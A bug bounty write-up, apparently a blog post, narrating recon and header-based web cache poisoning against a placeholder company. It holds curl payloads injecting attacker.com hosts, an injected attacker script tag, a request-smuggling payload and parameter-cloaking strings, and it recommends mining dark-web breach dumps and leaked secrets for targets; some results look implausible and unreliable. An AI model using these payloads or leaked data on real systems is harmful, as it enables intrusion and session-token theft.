Hey there!😁

I used to treat bug bounty like a buffet. 🍽️ Pick everything. Scan everything. Regret everything.

While others were cashing out, I was out here finding… login pages and disappointment. 😭 That's when I realized — the problem wasn't my skills… it was my target selection.

So I stopped hunting bugs. And started hunting targets that actually mattered. 🎯

🧠 Phase 1: From "Scan Everything" to "Think Like an Attacker"

Every beginner does this mistake:

subfinder -d target.com -all -recursive > subs.txt
httpx -l subs.txt -silent -o live.txt

Boom. 10,000 subdomains. Also boom: 10,000 dead ends.

That's when I asked myself:

"If I were a real attacker… where would I go first?"

Answer? Not random endpoints. Recently breached, exposed, or discussed assets.

🌑 Phase 2: Enter the Dark Web (Where the Real Clues Live)

I started monitoring dark web forums and breach dumps. Not for drama… but for patterns.

What I looked for:

  • Fresh credential leaks
  • Internal API structures accidentally exposed
  • CDN URLs & storage buckets
  • Mentions of staging / UAT environments

A Typical Goldmine Looked Like This:

Company: examplecorp
Leaked Data:
- api.dev.examplecorp.com
- cdn-cache.examplecdn.net
- jwt_secret (old)
- internal endpoints (partial)

Most people stop at "oh cool, breach happened."

I went deeper.

👉 If something leaked once, chances are:

  • It still exists
  • It's poorly monitored
  • It's cached somewhere

🕵️ Phase 3: Correlating Leaks with Recon

Now I combined recon + intelligence:

amass enum -d examplecorp.com -o amass.txt
dnsx -l amass.txt -a -resp > resolved.txt

Then filtered interesting patterns:

cat resolved.txt | grep -E "dev|uat|cache|cdn|internal" > juicy.txt

One domain caught my eye:

edge-cache.api-dev.examplecorp.com

🚨 Keywords that scream opportunity:

  • cache
  • edge
  • dev

That's not production hardened. That's… forgotten infrastructure.

None
GIF

⚙️ Phase 4: Finding the "Non-Obvious" Entry Point

The endpoint:

https://edge-cache.api-dev.examplecorp.com/v2/user/profile

Looked boring.

No parameters. No reflection. No errors.

Most hunters would leave.

But I noticed:

X-Cache: HIT
Via: varnish
Age: 4321

💡 This was behind a caching layer.

Now things got interesting.

☠️ Phase 5: Web Cache Poisoning — But Not the Basic Stuff

Forget ?test=123. That's rookie level.

I tested header-based cache poisoning.

Initial Probe:

curl -I https://edge-cache.api-dev.examplecorp.com/v2/user/profile \
-H "X-Forwarded-Host: evil.com"

Response:

200 OK
X-Cache: MISS

Second request:

X-Cache: HIT

Hmm. That means… 👉 The cache key didn't include X-Forwarded-Host.

🧪 Phase 6: Crafting the Poison Payload

Now I needed something impactful.

I tested host header injection via cache poisoning.

Payload:

curl https://edge-cache.api-dev.examplecorp.com/v2/user/profile \
-H "X-Forwarded-Host: attacker.com" \
-H "X-Original-URL: /malicious"

Then fetched normally:

curl https://edge-cache.api-dev.examplecorp.com/v2/user/profile

And boom 💥

The response contained:

<script src="https://attacker.com/malicious.js"></script>

🚨 The cache served my injected payload to every user.

🔥 Phase 7: Escalating Impact (Sensitive Data Angle)

This wasn't just defacement.

The endpoint returned authenticated user data when cookies were present.

So I tested:

curl https://edge-cache.api-dev.examplecorp.com/v2/user/profile \
-H "Cookie: session=valid_user_session"

Response:

{
  "email": "victim@example.com",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

Now imagine this:

👉 Cache poisoned response 👉 Injected JS stealing tokens 👉 Served to authenticated users

Game over.

🧠 Phase 8: Advanced Cache Poisoning Techniques I Used

Here's where it gets spicy 🌶️

1. Cache Key Confusion

Test what's ignored:

-H "X-Host"
-H "X-Forwarded-Scheme"
-H "X-Rewrite-URL"

2. HTTP Request Smuggling + Cache Poisoning

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /poison HTTP/1.1
Host: attacker.com

👉 Poison internal cache layers indirectly.

3. Vary Header Abuse

Check:

curl -I https://target.com | grep -i vary

If missing → jackpot 🎰

4. CDN Behavior Differences

Test origin vs cache:

curl -H "Cache-Control: no-cache" https://target.com

5. Parameter Cloaking

/?id=1;param=evil
/?id=1%26evil=1

📊 Phase 9: Why Dark Web Intel Made This Possible

Without dark web data:

❌ I would never find that dev cache endpoint ❌ I would waste time on main domains ❌ I would miss weak infrastructure

With it:

✅ I prioritized real attack surface ✅ I found forgotten assets ✅ I chained bugs into high severity impact

And sometimes… The shortest path to a bounty isn't through the app…

It's through the data someone already leaked about it. 🕳️💡

Connect with Me!

  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai😇

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF